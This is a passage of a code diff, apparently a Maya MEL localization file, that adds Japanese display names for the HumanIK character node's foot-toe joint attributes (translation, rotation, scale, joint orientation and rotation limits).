"左足小指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2RotateAxis", "左足小指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2RotateAxisx", "左足小指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2RotateAxisy", "左足小指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2RotateAxisz", "左足小指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2JointOrient", "左足小指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2JointOrientx", "左足小指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2JointOrienty", "左足小指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2JointOrientz", "左足小指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimit", "左足小指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimitx", "左足小指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimity", "左足小指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimitz", "左足小指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimit", "左足小指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimitx", "左足小指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimity", "左足小指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimitz", "左足小指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimitEnablex", "左足小指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimitEnabley", "左足小指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimitEnablez", "左足小指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimitEnablex", "左足小指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimitEnabley", "左足小指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimitEnablez", "左足小指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3", "左足小指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3T", "左足小指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Tx", "左足小指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Ty", "左足小指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Tz", "左足小指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3R", "左足小指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Rx", "左足小指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Ry", "左足小指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Rz", "左足小指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3S", "左足小指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Sx", "左足小指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Sy", "左足小指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Sz", "左足小指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", "左足小指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3RotateAxis", "左足小指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3RotateAxisx", "左足小指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3RotateAxisy", "左足小指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3RotateAxisz", "左足小指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3JointOrient", "左足小指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3JointOrientx", "左足小指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3JointOrienty", "左足小指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3JointOrientz", "左足小指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimit", "左足小指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimitx", "左足小指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimity", "左足小指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimitz", "左足小指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimit", "左足小指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimitx", "左足小指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimity", "左足小指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimitz", "左足小指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimitEnablex", "左足小指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimitEnabley", "左足小指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimitEnablez", "左足小指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimitEnablex", "左足小指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimitEnabley", "左足小指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimitEnablez", "左足小指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4", "左足小指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4T", "左足小指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Tx", "左足小指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Ty", "左足小指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Tz", "左足小指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4R", "左足小指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Rx", "左足小指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Ry", "左足小指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Rz", "左足小指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4S", "左足小指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Sx", "左足小指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Sy", "左足小指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Sz", "左足小指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", "左足小指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4RotateAxis", "左足小指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4RotateAxisx", "左足小指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4RotateAxisy", "左足小指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4RotateAxisz", "左足小指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4JointOrient", "左足小指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4JointOrientx", "左足小指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4JointOrienty", "左足小指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4JointOrientz", "左足小指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimit", "左足小指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimitx", "左足小指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimity", "左足小指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimitz", "左足小指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimit", "左足小指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimitx", "左足小指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimity", "左足小指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimitz", "左足小指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimitEnablex", "左足小指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimitEnabley", "左足小指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimitEnablez", "左足小指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimitEnablex", "左足小指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimitEnabley", "左足小指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimitEnablez", "左足小指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1", "左足追加指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1T", "左足追加指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Tx", "左足追加指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Ty", "左足追加指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Tz", "左足追加指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1R", "左足追加指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Rx", "左足追加指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Ry", "左足追加指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Rz", "左足追加指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1S", "左足追加指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Sx", "左足追加指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Sy", "左足追加指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Sz", "左足追加指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", "左足追加指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateAxis", "左足追加指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateAxisx", "左足追加指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateAxisy", "左足追加指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateAxisz", "左足追加指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1JointOrient", "左足追加指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1JointOrientx", "左足追加指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1JointOrienty", "左足追加指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1JointOrientz", "左足追加指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimit", "左足追加指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimitx", "左足追加指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimity", "左足追加指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimitz", "左足追加指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimit", "左足追加指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimitx", "左足追加指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimity", "左足追加指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimitz", "左足追加指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimitEnablex", "左足追加指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimitEnabley", "左足追加指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimitEnablez", "左足追加指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimitEnablex", "左足追加指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimitEnabley", "左足追加指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimitEnablez", "左足追加指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2", "左足追加指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2T", "左足追加指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Tx", "左足追加指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Ty", "左足追加指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Tz", "左足追加指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2R", "左足追加指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Rx", "左足追加指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Ry", "左足追加指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Rz", "左足追加指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2S", "左足追加指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Sx", "左足追加指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Sy", "左足追加指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Sz", "左足追加指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", "左足追加指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateAxis", "左足追加指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateAxisx", "左足追加指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateAxisy", "左足追加指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateAxisz", "左足追加指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2JointOrient", "左足追加指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2JointOrientx", "左足追加指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2JointOrienty", "左足追加指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2JointOrientz", "左足追加指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimit", "左足追加指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimitx", "左足追加指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimity", "左足追加指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimitz", "左足追加指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimit", "左足追加指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimitx", "左足追加指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimity", "左足追加指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimitz", "左足追加指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimitEnablex", "左足追加指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimitEnabley", "左足追加指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimitEnablez", "左足追加指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimitEnablex", "左足追加指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimitEnabley", "左足追加指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimitEnablez", "左足追加指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3", "左足追加指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3T", "左足追加指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Tx", "左足追加指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Ty", "左足追加指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Tz", "左足追加指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3R", "左足追加指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Rx", "左足追加指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Ry", "左足追加指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Rz", "左足追加指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3S", "左足追加指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Sx", "左足追加指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Sy", "左足追加指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Sz", "左足追加指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", "左足追加指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateAxis", "左足追加指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateAxisx", "左足追加指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateAxisy", "左足追加指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateAxisz", "左足追加指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3JointOrient", "左足追加指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3JointOrientx", "左足追加指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3JointOrienty", "左足追加指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3JointOrientz", "左足追加指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimit", "左足追加指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimitx", "左足追加指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimity", "左足追加指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimitz", "左足追加指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimit", "左足追加指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimitx", "左足追加指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimity", "左足追加指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimitz", "左足追加指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimitEnablex", "左足追加指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimitEnabley", "左足追加指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimitEnablez", "左足追加指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimitEnablex", "左足追加指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimitEnabley", "左足追加指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimitEnablez", "左足追加指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4", "左足追加指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4T", "左足追加指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Tx", "左足追加指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Ty", "左足追加指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Tz", "左足追加指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4R", "左足追加指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Rx", "左足追加指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Ry", "左足追加指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Rz", "左足追加指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4S", "左足追加指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Sx", "左足追加指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Sy", "左足追加指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Sz", "左足追加指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", "左足追加指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateAxis", "左足追加指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateAxisx", "左足追加指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateAxisy", "左足追加指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateAxisz", "左足追加指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4JointOrient", "左足追加指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4JointOrientx", "左足追加指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4JointOrienty", "左足追加指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4JointOrientz", "左足追加指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimit", "左足追加指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimitx", "左足追加指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimity", "左足追加指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimitz", "左足追加指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimit", "左足追加指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimitx", "左足追加指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimity", "左足追加指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimitz", "左足追加指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimitEnablex", "左足追加指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimitEnabley", "左足追加指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MinRLimitEnablez", "左足追加指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimitEnablex", "左足追加指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimitEnabley", "左足追加指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4MaxRLimitEnablez", "左足追加指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1", "右足親指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1T", "右足親指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Tx", "右足親指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Ty", "右足親指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Tz", "右足親指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1R", "右足親指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Rx", "右足親指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Ry", "右足親指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Rz", "右足親指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1S", "右足親指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootThumb1Sx", "右足親指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", 